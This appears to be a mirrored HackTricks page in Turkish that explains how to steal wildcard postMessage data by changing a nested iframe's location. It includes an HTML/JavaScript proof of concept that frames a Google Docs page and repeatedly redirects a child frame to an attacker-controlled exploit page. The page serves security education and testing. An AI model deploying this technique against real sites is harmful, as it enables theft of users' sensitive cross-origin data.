mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.3 KiB
Markdown
32 lines
1.3 KiB
Markdown
# Postmessage'i çalarak iframe konumunu değiştirme
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Çocuk iframelerin konumlarını değiştirme
|
||
|
||
[**bu yazıya**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) göre, X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, **o çocuk iframenin konumunu değiştirebilirsiniz**.
|
||
|
||
Örneğin, abc.com efg.com'u iframe olarak içeriyorsa ve abc.com X-Frame başlığına sahip değilse, efg.com'u evil.com olarak cross origin değiştirebilirim, **`frames.location`** kullanarak.
|
||
|
||
Bu, **postMessages** için özellikle faydalıdır çünkü bir sayfa, **wildcard** kullanarak hassas veriler gönderiyorsa `windowRef.postmessage("","*")`, **ilgili iframenin (çocuk veya ebeveyn) konumunu bir saldırganın kontrolündeki bir konuma değiştirmek** ve bu veriyi çalmak mümkündür.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
//pseudo code
|
||
setTimeout(function () {
|
||
exp()
|
||
}, 6000)
|
||
|
||
function exp() {
|
||
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
||
setInterval(function () {
|
||
window.frames[0].frame[0][2].location =
|
||
"https://geekycat.in/exploit.html"
|
||
}, 100)
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|